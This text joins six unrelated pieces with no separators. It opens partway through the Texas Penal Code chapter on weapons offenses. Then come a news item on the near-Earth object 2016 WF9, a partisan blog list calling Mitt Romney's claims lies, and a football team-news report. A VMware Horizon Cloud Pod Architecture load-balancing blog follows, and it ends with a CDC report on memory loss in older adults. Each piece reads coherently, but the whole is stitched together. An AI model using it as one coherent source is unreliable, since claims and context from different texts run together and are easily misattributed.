(e) An offense under Subsection (a)(1), (3), (4), (5), or (7) is a felony of the third degree. An offense under Subsection (a)(6) is a state jail felony. An offense under Subsection (a)(2) is a Class A misdemeanor. (f) It is a defense to prosecution under this section for the possession of a chemical dispensing device that the actor is a security officer and has received training on the use of the chemical dispensing device by a training program that is: (1) provided by the Texas Commission on Law Enforcement; or (2) approved for the purposes described by this subsection by the Texas Private Security Board of the Department of Public Safety. (g) In Subsection (f), "security officer" means a commissioned security officer as defined by Section 1702.002, Occupations Code, or a noncommissioned security officer registered under Section 1702.221, Occupations Code. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Amended by Acts 1975, 64th Leg., p. 918, ch. 342, Sec. 15, eff. Sept. 1, 1975; Acts 1983, 68th Leg., p. 2650, ch. 457, Sec. 2, eff. Sept. 1, 1983; Acts 1983, 68th Leg., p. 4831, ch. 852, Sec. 2, eff. Sept. 1, 1983; Acts 1987, 70th Leg., ch. 167, Sec. 5.01(a)(47), eff. Sept. 1, 1987; Acts 1991, 72nd Leg., ch. 229, Sec. 2, eff. Sept. 1, 1991; Renumbered from Penal Code Sec. 46.06 and amended by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994; Acts 2003, 78th Leg., ch. 1071, Sec. 1, eff. Sept. 1, 2003. Amended by: Acts 2005, 79th Leg., Ch. 1035 (H.B. 1132), Sec. 2.01, eff. September 1, 2005. Acts 2005, 79th Leg., Ch. 1278 (H.B. 2303), Sec. 7, eff. September 1, 2005. Acts 2011, 82nd Leg., R.S., Ch. 920 (S.B. 1416), Sec. 2, eff. September 1, 2011. Acts 2013, 83rd Leg., R.S., Ch. 93 (S.B. 686), Sec. 2.60, eff. May 18, 2013. Acts 2013, 83rd Leg., R.S., Ch. 960 (H.B. 1862), Sec. 1, eff. September 1, 2013. Acts 2015, 84th Leg., R.S., Ch. 69 (S.B. 473), Sec. 1, eff. September 1, 2015. Acts 2015, 84th Leg., R.S., Ch. 69 (S.B. 473), Sec. 2, eff. September 1, 2015. Acts 2017, 85th Leg., R.S., Ch. 155 (H.B. 1819), Sec. 1, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 814 (H.B. 913), Sec. 2, eff. September 1, 2017. Sec. 46.06. UNLAWFUL TRANSFER OF CERTAIN WEAPONS. (a) A person commits an offense if the person: (1) sells, rents, leases, loans, or gives a handgun to any person knowing that the person to whom the handgun is to be delivered intends to use it unlawfully or in the commission of an unlawful act; (2) intentionally or knowingly sells, rents, leases, or gives or offers to sell, rent, lease, or give to any child younger than 18 years of age any firearm, club, or location-restricted knife; (3) intentionally, knowingly, or recklessly sells a firearm or ammunition for a firearm to any person who is intoxicated; (4) knowingly sells a firearm or ammunition for a firearm to any person who has been convicted of a felony before the fifth anniversary of the later of the following dates: (A) the person's release from confinement following conviction of the felony; or (B) the person's release from supervision under community supervision, parole, or mandatory supervision following conviction of the felony; (5) sells, rents, leases, loans, or gives a handgun to any person knowing that an active protective order is directed to the person to whom the handgun is to be delivered; or (6) knowingly purchases, rents, leases, or receives as a loan or gift from another a handgun while an active protective order is directed to the actor. (b) In this section: (1) "Intoxicated" means substantial impairment of mental or physical capacity resulting from introduction of any substance into the body. (2) "Active protective order" means a protective order issued under Title 4, Family Code, that is in effect. The term does not include a temporary protective order issued before the court holds a hearing on the matter. (c) It is an affirmative defense to prosecution under Subsection (a)(2) that the transfer was to a minor whose parent or the person having legal custody of the minor had given written permission for the sale or, if the transfer was other than a sale, the parent or person having legal custody had given effective consent. (d) An offense under this section is a Class A misdemeanor, except that an offense under Subsection (a)(2) is a state jail felony if the weapon that is the subject of the offense is a handgun. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Amended by Acts 1985, 69th Leg., ch. 686, Sec. 1, eff. Sept. 1, 1985. Renumbered from Penal Code Sec. 46.07 and amended by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Amended by Acts 1995, 74th Leg., ch. 324, Sec. 1, eff. Jan. 1, 1996; Acts 1997, 75th Leg., ch. 1193, Sec. 22, eff. Sept. 1, 1997; Acts 1997, 75th Leg., ch. 1304, Sec. 1, eff. Sept. 1, 1997; Acts 1999, 76th Leg., ch. 62, Sec. 15.02(f), eff. Sept. 1, 1999. Amended by: Acts 2017, 85th Leg., R.S., Ch. 1049 (H.B. 1935), Sec. 7, eff. September 1, 2017. Sec. 46.07. INTERSTATE PURCHASE. A resident of this state may, if not otherwise precluded by law, purchase firearms, ammunition, reloading components, or firearm accessories in another state. This authorization is enacted in conformance with 18 U.S.C. Section 922(b)(3)(A). Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Renumbered from Penal Code Sec. 46.08 by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Amended by: Acts 2009, 81st Leg., R.S., Ch. 280 (S.B. 1188), Sec. 1, eff. May 30, 2009. Sec. 46.08. HOAX BOMBS. (a) A person commits an offense if the person knowingly manufactures, sells, purchases, transports, or possesses a hoax bomb with intent to use the hoax bomb to: (1) make another believe that the hoax bomb is an explosive or incendiary device; or (2) cause alarm or reaction of any type by an official of a public safety agency or volunteer agency organized to deal with emergencies. (b) An offense under this section is a Class A misdemeanor. Added by Acts 1983, 68th Leg., p. 4831, ch. 852, Sec. 3, eff. Sept. 1, 1983. Renumbered from Penal Code Sec. 46.09 by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Sec. 46.09. COMPONENTS OF EXPLOSIVES. (a) A person commits an offense if the person knowingly possesses components of an explosive weapon with the intent to combine the components into an explosive weapon for use in a criminal endeavor. (b) An offense under this section is a felony of the third degree. Added by Acts 1983, 68th Leg., p. 4832, ch. 852, Sec. 4, eff. Sept. 1, 1983. Renumbered from Penal Code Sec. 46.10 by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Sec. 46.10. DEADLY WEAPON IN PENAL INSTITUTION. (a) A person commits an offense if, while confined in a penal institution, he intentionally, knowingly, or recklessly: (1) carries on or about his person a deadly weapon; or (2) possesses or conceals a deadly weapon in the penal institution. (b) It is an affirmative defense to prosecution under this section that at the time of the offense the actor was engaged in conduct authorized by an employee of the penal institution. (c) A person who is subject to prosecution under both this section and another section under this chapter may be prosecuted under either section. (d) An offense under this section is a felony of the third degree. Added by Acts 1985, 69th Leg., ch. 46, Sec. 1, eff. Sept. 1, 1985. Amended by Acts 1987, 70th Leg., ch. 714, Sec. 1, eff. Sept. 1, 1987. Renumbered from Penal Code Sec. 46.11 by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Sec. 46.11. PENALTY IF OFFENSE COMMITTED WITHIN WEAPON-FREE SCHOOL ZONE. (a) Except as provided by Subsection (b), the punishment prescribed for an offense under this chapter is increased to the punishment prescribed for the next highest category of offense if it is shown beyond a reasonable doubt on the trial of the offense that the actor committed the offense in a place that the actor knew was: (1) within 300 feet of the premises of a school; or (2) on premises where: (A) an official school function is taking place; or (B) an event sponsored or sanctioned by the University Interscholastic League is taking place. (b) This section does not apply to an offense under Section 46.03(a)(1). (c) In this section: (1) "Premises" has the meaning assigned by Section 481.134, Health and Safety Code. (2) "School" means a private or public elementary or secondary school. Added by Acts 1995, 74th Leg., ch. 320, Sec. 1, eff. Sept. 1, 1995. Amended by Acts 1997, 75th Leg., ch. 1063, Sec. 10, eff. Sept. 1, 1997. Amended by: Acts 2011, 82nd Leg., R.S., Ch. 91 (S.B. 1303), Sec. 20.002, eff. September 1, 2011. Sec. 46.12. MAPS AS EVIDENCE OF LOCATION OR AREA. (a) In a prosecution of an offense for which punishment is increased under Section 46.11, a map produced or reproduced by a municipal or county engineer for the purpose of showing the location and boundaries of weapon-free zones is admissible in evidence and is prima facie evidence of the location or boundaries of those areas if the governing body of the municipality or county adopts a resolution or ordinance approving the map as an official finding and record of the location or boundaries of those areas. (b) A municipal or county engineer may, on request of the governing body of the municipality or county, revise a map that has been approved by the governing body of the municipality or county as provided by Subsection (a). (c) A municipal or county engineer shall file the original or a copy of every approved or revised map approved as provided by Subsection (a) with the county clerk of each county in which the area is located. (d) This section does not prevent the prosecution from: (1) introducing or relying on any other evidence or testimony to establish any element of an offense for which punishment is increased under Section 46.11; or (2) using or introducing any other map or diagram otherwise admissible under the Texas Rules of Evidence. Added by Acts 1995, 74th Leg., ch. 320, Sec. 2, eff. Sept. 1, 1995. Amended by: Acts 2005, 79th Leg., Ch. 728 (H.B. 2018), Sec. 16.004, eff. September 1, 2005. Sec. 46.13. MAKING A FIREARM ACCESSIBLE TO A CHILD. (a) In this section: (1) "Child" means a person younger than 17 years of age. (2) "Readily dischargeable firearm" means a firearm that is loaded with ammunition, whether or not a round is in the chamber. (3) "Secure" means to take steps that a reasonable person would take to prevent the access to a readily dischargeable firearm by a child, including but not limited to placing a firearm in a locked container or temporarily rendering the firearm inoperable by a trigger lock or other means. (b) A person commits an offense if a child gains access to a readily dischargeable firearm and the person with criminal negligence: (1) failed to secure the firearm; or (2) left the firearm in a place to which the person knew or should have known the child would gain access. (c) It is an affirmative defense to prosecution under this section that the child's access to the firearm: (1) was supervised by a person older than 18 years of age and was for hunting, sporting, or other lawful purposes; (2) consisted of lawful defense by the child of people or property; (3) was gained by entering property in violation of this code; or (4) occurred during a time when the actor was engaged in an agricultural enterprise. (d) Except as provided by Subsection (e), an offense under this section is a Class C misdemeanor. (e) An offense under this section is a Class A misdemeanor if the child discharges the firearm and causes death or serious bodily injury to himself or another person. (f) A peace officer or other person may not arrest the actor before the seventh day after the date on which the offense is committed if: (1) the actor is a member of the family, as defined by Section 71.003, Family Code, of the child who discharged the firearm; and (2) the child in discharging the firearm caused the death of or serious injury to the child. (g) A dealer of firearms shall post in a conspicuous position on the premises where the dealer conducts business a sign that contains the following warning in block letters not less than one inch in height: "IT IS UNLAWFUL TO STORE, TRANSPORT, OR ABANDON AN UNSECURED FIREARM IN A PLACE WHERE CHILDREN ARE LIKELY TO BE AND CAN OBTAIN ACCESS TO THE FIREARM."
A mysterious object will be flying past Earth next month. However, its characteristics are so unusual that even the brightest brains over at NASA can't figure out what exactly it is.
The object, dubbed 2016 WF9, was spotted by NASA’s asteroid-and-comet-hunting NEOWISE project on November 27, 2016. NEOWISE scientists believe that it could be as large as 1 kilometer (0.6 mile) wide. It’s expected to make its closest approach to Earth’s orbit on February 25 at a distance of 51 million kilometers (32 million miles).
The object is causing a bit of confusion among NASA scientists, as they can’t tell if it’s a comet or an asteroid. As a general (but by no means foolproof) rule, asteroids tend to be rocky or more metallic, while comets tend be icier. This object appears to be dark and unreflective, which is typically an indication it is a comet. Despite that, it lacks the characteristic dust and gas cloud that defines a comet. This lack of clarity also means the object has an unknown origin.
“2016 WF9 could have cometary origins," Deputy Principal Investigator James "Gerbs" Bauer at NASA Jet Propulsion Laboratory said in a statement. "This object illustrates that the boundary between asteroids and comets is a blurry one; perhaps over time this object has lost the majority of the volatiles that linger on or just under its surface."
NEOWISE did, however, manage to discover another object that they understand more about. Late last year, they also found C/2016 U1, a comet that is cruising by Earth right now.
That’s a good idea. In fact, I’m thinking about starting a new feature for Friday afternoons, highlighting the Republican frontrunner’s most offensive falsehoods from the previous week. I’m thinking about making it a Top 5 list, but I suppose some weeks, it might be a Top 10 list.
Let’s take a look at this week’s contenders.
1. Romney campaigning in Iowa on Sunday: “[W]hen the president went around at the beginning of his term and apologized for America around the world, it made us just heartsick.”
He’s lying; the president never apologized for America. Romney knows this, but he keeps making the claim anyway.
2. Romney on Fox News on Tuesday: “I’ve still got the same positions on the issues I had four years ago. My record as governor and my positions are pretty darn conservative.”
That’s not even close to being true.
3. Romney talking about his jobs record on Fox News on Tuesday: “[At Bain Capital], we helped create over 100,000 new jobs.”
Actually, no, he didn’t.
4. Romney in New Hampshire on Wednesday said President Obama seeks “a ‘European-style welfare state’ to redistribute wealth and create ‘equal outcomes’ regardless of individual effort and success.”
This isn’t just a lie, it’s also “Glenn Beck-level insane.”
5. Romney in a new campaign ad airing in South Carolina: “The National Labor Relations Board, now stacked with union stooges selected by the president, says to a free enterprise like Boeing, ‘You can’t build a factory in South Carolina, because South Carolina is a right-to-work state.’ That is simply un-American. It’s political payback of the worst kind.”
Romney has said this before, and he’s been told every time, he’s lying.
Honorable mention: Romney continues to make wildly misleading comments about the president’s jobs record, too.
The hosts of CBS’s “The Early Show” this week seemed taken aback when Newt Gingrich called Romney “a liar,” prompting the disgraced former House Speaker to say they shouldn’t be “shocked” given Romney’s constant dishonesty.
As lists like these help demonstrate, Gingrich has a point.
Skipper Onuoha will have to serve a ban unless an appeal against his sending-off during the 3-0 defeat at Brighton is successful.
Rangers’ defensive options have been limited, with Steven Caulker unavailable and Joel Lynch also not fit.
That was highlighted when manager Holloway moved James Perch into the centre of his defence after Onuoha’s dismissal and brought Osman Kakay, 19, on at right-back for the youngster’s Championship debut.
Holloway said: “With Nedum out, if Lynchy isn’t fit again then I haven’t got a back four – literally I haven’t got a back four.
“I had to move Perchy over when Nedum went off and I’m putting a 19-year-old in at right-back who hasn’t played before. It’s a bit much.”
What is Cloud Pod Architecture?
Well, first watch these three short instruction videos so you know how what it is and how it should work.
To get CPA to work in a normal/common practice way, you need some prerequisites to be in place:
A minimum of 2 POD’s
Horizon 6 +
Redundant hardware in each POD (hosts, networking, storage, etc)
Local load balancing
Global load balancing
Session persistancy
And all of this is based on the fact you use Horizon 6+ in combination with security servers for external connections which are paired to connection servers.
Take a look at the following figure.
The toplevel Virtual IP (VIP) is used (with an FQDN) for every external device to connect to an available desktop. F5’s Global Traffic Management (GTM) is used to automatically balance the load between the two geographically separated POD’s. F5’s Access Policy Manager (APM) is used to create session persistency when users disconnect and reconnect their session (and so aren’t sent to the wrong POD and getting a new desktop while in the other POD there is a disconnected session. Both POD’s have F5’s Local Traffic Manager modules to locally load balance the security servers for external connections. Connection Servers can also be behind an F5 LTM to balance connections for internal users.
Take a look at the this blog post for more information around F5 and Cloud Pod Architecture:
Since Horizon 6, a lot happened. CPA got more mature, the Unified Access Gateway appliance was born and Horizon 7 with a new protocol called Blast Extreme entered the game. Oh, and don’t forget NSX which we see more and more at customers to implement micro segmentation on a Virtual Desktop level. Really cool stuff.
So what has changed in the architecture?
Take a look at the following figure.
In this picture we see a single POD. On the left side it is configured with LTM load balancing and traditional Security Servers. Each Security Server is directly paired with a Connection Server. On the right side LTM load balancing in combination with Horizon UAG’s (AP’s in the figure) are used. UAG’s aren’t linked to a single Connection Server, but are linked to a FQDN. And that’s where the fun part starts. That FQDN could either be of a Connection Server or a couple of Connection Servers that are behind a LTM load balancer as well.
Because the UAG’s aren’t paired to a Connection Server, the Connection Servers can be used for both internal and external connections (while dedicated Connection Servers we’re needed for internal connections before the AP was born).
The next great thing about Horizon 7 is the Blast Extreme protocol, which gives the user a great User Experience (almost comparable to PCoIP), but over the HTTPS protocol instead of a dedicated TCP/IP Port. This is an important part when looking at other possibilities for load balancing.
So how to use these new features with CPA?
No real new documentation has been released around CPA and these new features. But a lot of new possibilities arose when these new features came out. And that includes new possibilities for CPA. F5’s BIG IP’s are a common practice wth CPA, but is that still necessary? The answer (of course) is: it depends. When all the right factors are in place, it will be possible to use only LTM or maybe even NSX with it’s load balancer.
To use only LTM, the following prerequisites must be met:
A minimum of 2 POD’s
Horizon 7 (although 6.2 might also work in certain situations)
Redundant hardware in each POD (hosts, networking, storage, etc)
A stretched VLAN (over both data centers) in which load balancers can be connected (based on VXLAN or Cisco’s OTV)
F5 LTM with an external VIP and an internal VIP (or other LB that supports required features. Take a look at this post by Mark Benson for more info)
A stretched management cluster
Horizon 7 UAG’s
Blast Extreme (so no PCoIP)
Take a look at the following figure.
As you can see in figure 3, the toplevel load balancers are placed in a stretched layer 2 DMZ network. You could either choose for active/passive or active/active load balancing. In my case I have chosen for active/passive to consolidate al incoming connections and avoid more cross-site connections.
For an assumed number of 2000 maximum connected sessions, we deployed 2 active UAG’s (AP’s in the figure) and one passive UAG. The load balancer is set up with a pool containing the 3 UAG’s, where 1 and 2 have a higher priority. In case DC 1 fails, UAG3 will accept disconnected sessions and redirect them to their desktop. UAG1 and UAG2 will be restarted by HA in DC2 and within a couple of minutes all UAG’s will run from DC2. Make sure to add DRS anti-affinity groups in combination with DRS host groups. Also make sure to have storage DRS enabled with datastore groups and again, anti-affinity rules.
As mentioned earlier, Security Servers are paired with Connection Servers on a 1 to 1 basis. UAG’s don’t do that. In case of a UAG, it is linked to a namespace. And as you can see in figure 3, all UAG’s are pointing to a VIP that is set on a secondary layer of load balancers that contain a pool with Connection Servers. This will mean that the UAG’s will tunnel an incoming connection to the VIP, which in it’s case balance the connection over a single connection server in the pool. The connection server will first check in it’s own POD or eventually in the other POD(s) if there is an available (or existing) desktop. If there is a desktop available, the incoming connection will be tunneled to the desktop and the user is happy.
In this case, no APM module is needed because all sessions are virtually tunneled from one data center. And those sessions are known as long as they exist in either POD’s.
Please keep in mind that in the above situation only HTTPS (Blast Extreme) traffic is load balanced and tunneled.
The following figure outlines the steps that are described in the above section.
A user requests a session and is pointed to the external VIP of the UAG’s (AP’s in the figure). The active LTM LB sends the session to either of the UAG’s in the pool. The AP’s forward the session to the VIP of the internal URL. The LTM LB sends the session to either of the Horizon Connection Servers. The Connection Server returns a desktop to the user from one of both POD’s.
How would this situation work in a DC failure?
In case of a DC failure there are certain steps that are automatically taken so traffic is routed and availability to the service is retained.
First of all, if the secondary DC is down only active connections to the desktop will fail. If a user reconnects to Horizon, they will receive a desktop in the active DC.
But what happens if the primary DC fails? The following figures outline the steps that are automatically taken.
Step 1: The primary DC fails.
If the primary DC fails, the passive load balancer becomes active and automatically picks up new sessions. The existing sessions from the load balancer in DC 1 are killed. The UAG (AP in the figure) in DC 2 directs the connections to the new active load balancer in front of the connections servers and sends it to an available one.
Step 2: vSphere HA boots up AP’s.
As the management cluster is stretched, UAG’s that were running in DC 1 are now booted in DC 2. They will automatically pick up new connection as soon as the load balancer notices that they are online.
Step 3: Primary DC restores.
When the primary DC becomes available again, the POD in that DC boots up and will accept incoming connections from the active load balancer in the secondary DC.
How would NSX fit in this situation?
take a look at the following white paper: NSX-EUC Design Guide – v1.0.1.pdf
As you can see, NSX contains a load balancing function as well. And because only HTTPS traffic is tunneled and load balanced, there are more load balancers that could fulfill this requirement.
If you like to know more on how to configure NSX load balancing for the Unified Access Gateways, please check out this post from Pascal van de Bor.
With blogpost I hope I gave you an idea on how to achieve Cloud Pod Architecture based on a single pair of Active/Passive or Active/Active load balancers.
Self-Reported Increased Confusion or Memory Loss and Associated Functional Difficulties Among Adults Aged ≥60 Years — 21 States, 2011
Declines in cognitive function vary among persons and can include changes in attention, memory, learning, executive function, and language capabilities that negatively affect quality of life, personal relationships, and the capacity for making informed decisions about health care and other matters (1). Memory problems typically are one of the first warning signs of cognitive decline, and mild cognitive impairment might be present when memory problems are greater than normal for a person's age but not as severe as problems experienced with Alzheimer's disease (2,3). Some, but not all, persons with mild cognitive impairment develop Alzheimer's disease; others can recover from mild cognitive impairment if certain causes (e.g., medication side effects or depression) are detected and treated (3). In 2012, the U.S. Department of Health and Human Services published the National Plan to Address Alzheimer's Disease, calling for expanding data collection and surveillance efforts to track the prevalence and impact of Alzheimer's and other types of dementia (4). To estimate the prevalence of self-reported increased confusion or memory loss and associated functional difficulties among adults aged ≥60 years, CDC analyzed data from 21 states that administered an optional module in the 2011 Behavioral Risk Factor Surveillance System (BRFSS) survey. The results indicated that 12.7% of respondents reported increased confusion or memory loss in the preceding 12 months. Among those reporting increased confusion or memory loss, 35.2% reported experiencing functional difficulties. These results provide baseline information about the number of noninstitutionalized older adults with increased confusion or memory loss that is causing functional difficulties and might require services and supports now or in the future.
BRFSS consists of annual state-based telephone surveys of randomly selected noninstitutionalized U.S. adults aged ≥18 years regarding health practices and risk behaviors linked to chronic diseases, injuries, and preventable infectious diseases.* In 2011, all 50 states and the District of Columbia conducted the BRFSS survey by landline and cellular telephones, and the median survey response rate was 49.7%. In 2011, 21 states† included a 10-question optional cognitive impairment module§ in their BRFSS surveys. Because only seven of the 21 states conducted cell phone interviews in addition to landline telephone interviews, this analysis was restricted to landline respondents aged ≥60 years from the 21 states.¶ The median landline response rate among the 21 states was 53.4%, and the rates ranged from 37.4% in California to 66.0% in Nebraska.** This analysis was further limited to the 59,852 adults aged ≥60 years with nonmissing responses to the first question in the module.
Respondents who answered affirmatively to the question, "During the past 12 months, have you experienced confusion or memory loss that is happening more often or is getting worse?" were categorized as reporting increased confusion or memory loss. Functional difficulties were identified among these persons if they responded, "always," "usually," or "sometimes" to one of two questions about whether confusion or memory loss interfered with their "ability to work, volunteer, or engage in social activities," or caused them to "give up household activities or chores" that they "used to do." Additional questions addressed the need for assistance, getting care or assistance from a family member or friend, and discussing increased confusion or memory loss with a health-care provider. Respondents who declined to answer, had a missing answer, or who answered "don't know/not sure" were excluded from the analyses involving those variables.
Respondents were categorized by age group, sex, race/
ethnicity,†† education level, disability status,§§ veteran status, and employment status. BRFSS landline weights were used to adjust for the probability of selection and to reflect the total adult population in each state by age group, race/ethnicity, education level, marital status, and home ownership status. To account for the complex sampling design, weighted data were analyzed using statistical software.
In 2011, 12.7% of respondents reported increased confusion or memory loss during the preceding 12 months, and 35.2% of those persons reported functional difficulties (Table 1). The percentage reporting confusion or memory loss was significantly higher among the following: persons aged ≥85 years (15.6%) compared with those aged 60–64 years (12.0%) and 65–74 years (11.9%); Hispanics or Latinos (16.9%) compared with whites (12.1%); persons with less than a high school education (16.2%) compared with persons with more education; persons who reported they were disabled (20.2%) compared with persons who were not disabled (7.5%); and persons who were unable to work (28.3%) compared with those who were employed (7.8%), unemployed (16.4%), homemakers (11.8%), students (3.9%), and retirees (12.3%) (Table 1).
Among those reporting increased confusion or memory loss, significant differences in the percentage with functional difficulties were found among the same demographic groups, although in some cases the patterns differed. For example, the percentage with functional difficulties was significantly higher among adults aged 60–64 years (44.7%) compared with 65–74 years (29.0%) and 75–84 years (32.6%) and among blacks or African Americans (61.6%) compared with whites (29.1%) and Asians/Native Hawaiians or Other Pacific Islanders (16.2%) (Table 1). By state, the percentage reporting increased confusion or memory loss ranged from 6.4% in Tennessee to 20.0% in Arkansas. Among those with increased confusion or memory loss, the percentage with functional difficulties ranged from 21.3% in Wisconsin to 52.2% in West Virginia (Table 2).
Among persons reporting increased confusion or memory loss, those with functional difficulties were significantly more likely than those without functional difficulties to report needing help (81.0% compared with 38.2%), getting help from a family member or friend (46.5% compared with 6.0%), and discussing their increased confusion or memory loss with a health-care provider (32.6% compared with 12.1%). In addition, those who reported functional difficulties were more likely to report being unable to work (32.8% compared with 9.6%) (Table 3).
Reported by
Mary L. Adams, MS, MPH, On Target Health Data LLC, West Suffield, Connecticut. Angela J. Deokar, MPH, Lynda A. Anderson, PhD, Valerie J. Edwards, PhD, Div of Population Health, National Center for Chronic Disease Prevention and Health Promotion, CDC. Corresponding contributor: Angela J. Deokar, ajdeokar@cdc.gov, 770-488-5327.
Editorial Note
Age is the best-known risk factor for Alzheimer's disease (the most common cause of dementia), and more than 90% of cases occur in persons aged ≥60 years (2). Research shows that Alzheimer's disease causes changes in the brain years and even decades before the first symptoms appear, and a better understanding about normal age-related cognitive decline could provide important insights for future prevention efforts (1,2). A systematic review found that among the primary care populations studied, as many as 66% of all dementia cases were undiagnosed, with the majority of missed cases classified as mild to moderate (5). Missed or delayed diagnosis impedes the ability to identify and intervene for treatable causes and to provide timely and accurate information and resources to patients and their families.
Public health surveillance provides the ability to track and monitor trends and identify health disparities to understand the magnitude of the problem, plan for future resource and service needs, inform interventions, and guide research efforts. However, public health surveillance of dementia is limited and complicated by methodologic challenges associated with identifying cases in the community (6). For these reasons, one suggestion is that public health surveillance of these conditions be broadly focused and address outcomes related to functional impairment rather than etiology (6). BRFSS provides an opportunity to respond to the national call for expanded surveillance efforts by tracking self-reported confusion or memory loss that is currently causing functional difficulties among noninstitutionalized adults and could progress to a more serious state of impairment.
The BRFSS results for 21 states described in this report indicate that 12.7% of persons aged ≥60 years report increased confusion or memory loss in the preceding year, and among these persons, 35.2% report functional difficulties. The findings show that increased confusion or memory loss generally increased with age, but the percentage reporting functional difficulties among persons aged 60-64 years was as great as among persons aged ≥85 years and greater than among persons aged 65–84. These findings suggest a need for future studies to examine the relationship of age and functional difficulties caused by increased confusion or memory loss. For example, younger persons might face challenges obtaining diagnostic testing because health-care professionals might not suspect symptoms, or access to employer-sponsored benefits could be placed in jeopardy if employed persons lose their jobs or are unable to work (7).
Among persons reporting functional difficulties, only 32.6% report discussing their symptoms with a health-care provider. Early and accurate diagnosis provides opportunities for individuals and families to initiate financial planning, develop advance directives, enroll in clinical trials and anticipate care needs. Some causes for cognitive decline are reversible (e.g., depression, infections, medication side effects, or nutritional deficiencies), but they can be serious and should be treated by a health-care provider as soon as possible (2). Misperceptions about dementia-related conditions might lead to delayed diagnosis (4), and understanding cultural beliefs and public perception is important for meeting national goals for increasing awareness. For example, studies conducted with diverse groups of older adults found that terminology used to describe brain health and beliefs about cognition varied among racial/ethnic populations (9). Increased confusion or memory loss and functional difficulties were reported among all racial/ethnic groups in this analysis, with persons identifying themselves as black or African American reporting the highest levels of functional difficulties compared with other groups.
Among those reporting increased confusion or memory loss and functional difficulties, 81.0% report needing assistance, and only 46.5% report getting help from a family member or friend. The need for care could precede or follow a diagnosis of dementia and escalates over time (8). Care could be provided by family members and friends or through paid services. Understanding who is at risk for requiring care now or in the future can help with anticipating needs and associated costs.
Wide variation observed among the 21 states might be the result of different cultural or other factors and indicates the importance of state-based data on this subject. Understanding cultural and social contexts is important when communicating public health messages (8). Future studies of state-specific data examining associations between increased confusion or memory loss and potential risk factors for dementia such as cardiovascular disease, diabetes, depression, or physical inactivity (3) might provide more insights that could also help explain the variations observed across states.
The findings in this report are subject to at least five limitations. First, data are self-reported, not validated by any clinical measurement, and might be subject to recall bias. Second, the survey design is cross-sectional, and causality of specific diseases or conditions cannot be inferred. Third, although questions underwent multiple rounds of cognitive testing to ensure that respondents understood the questions, given misperceptions surrounding dementia (4,7,8), respondents might provide the most "socially acceptable" answer, which could vary by race/ethnicity or geography, and could account in part for the variability observed among states. For example, blacks or African Americans might be less likely than whites to report cognitive decline (10). Furthermore, whether increased confusion or memory loss interferes with a respondent's ability to accurately describe functional difficulties is unknown. Fourth, these results might underestimate confusion or memory loss and functional difficulties because BRFSS does not include residents of nursing homes or other facilities where a high percentage of people with cognitive impairment reside, and results were limited to landline telephone survey responses and did not include cell phone respondents. Finally, response rates among the 21 states were low and varied widely, ranging from 37.4% to 66.0%.
In May 2012, The U.S. Department of Health and Human Services released the National Plan to Address Alzheimer's Disease (4), which includes a call to strengthen data and surveillance efforts. CDC's Healthy Brain Initiative is working with the Alzheimer's Association and numerous other national, state, and local partners to develop a set of public health actions to promote cognitive health as a vital, integral, component of public health and also to address issues related to cognitive impairment for persons living in the community and their care partners (i.e., informal and paid caregivers and health-care providers). This report provides a baseline estimate of the extent of self-reported increased confusion or memory loss and functional difficulties occurring in the preceding year among noninstitutionalized persons aged ≥60 years who might require services and supports now or in the future. The findings underscore the need to facilitate timely discussions with health-care and service providers so that linkages can be made to accurate information and needed services.
Acknowledgments
Sabra Miller, Marta Induni, Kimberly Cohen, Florentina Reyes-Salvail, Bruce Steiner, Don Shepherd, Jude Haney, Helio Lopez, Chris Fussman, Mihaela Moldovan, Kim Lim, Colleen Baker, James Cassell, Derek Pate, Jennifer Baker, David Ridings, Michelle Cook, Jennifer Wrathall, Marnie Boardman, Fred King, Anne Ziege, BRFSS coordinators. Matthew Baumgart, Michael Splaine, Catherine Morrison, Alzheimer's Association.
References
Wagster MV, King JW, Resnick SM, Rapp PR. The 87%. J Gerontol A Biol Sci Med Sci 2012;67:739–40. National Institute on Aging. Alzheimer's disease fact sheet. Bethesda, MD: US Department of Health and Human Services, National Institutes of Health; 2013. Available at http://www.nia.nih.gov/alzheimers/publication/alzheimers-disease-fact-sheet. National Institute on Aging. 2011–2012 Alzheimer's disease progress report: intensifying the research effort. Bethesda, MD. US Department of Health and Human Services, National Institutes of Health; 2013. Available at http://www.nia.nih.gov/alzheimers/publication/
2011-2012-alzheimers-disease-progress-report. US Department of Health and Human Services. National plan to address Alzheimer's disease. Washington, DC: US Department of Health and Human Services; 2012. Available at http://aspe.hhs.gov/daltcp/napa/natlplan.pdf. Boustani M, Peterson B, Hanson L, Harris R, Lohr K. Screening for dementia in primary care: a summary of the evidence for the US Preventive Services Task Force. Ann Intern Med 2003;138:927–37. Launer LJ. Counting dementia: there is no one "best" way. Alzheimers Dement 2011;7:10–4. Alzheimer's Association. Early-onset dementia: a national challenge, a future crisis. Washington, DC: Alzheimer's Association; 2006. Available at https://www.alz.org/national/documents/report_earlyonset_summary.pdf. World Health Organization, Alzheimer's Disease International. Dementia: a public health priority. Geneva Switzerland: World Health Organization; 2012. Available at http://www.who.int/mental_health/publications/dementia_report_2012/en. Laditka JN, Beard RL, Bryant LL, et al. Promoting cognitive health: a formative research collaboration of the Healthy Aging Research Network. Gerontologist 2009;49(Suppl 1):S12–7. Potter GG, Plassman BL, Burke JR, et al. Cognitive performance and informant reports in the diagnosis of cognitive impairment and dementia in African Americans and whites. Alzheimers Dement 2009;5:445–53.
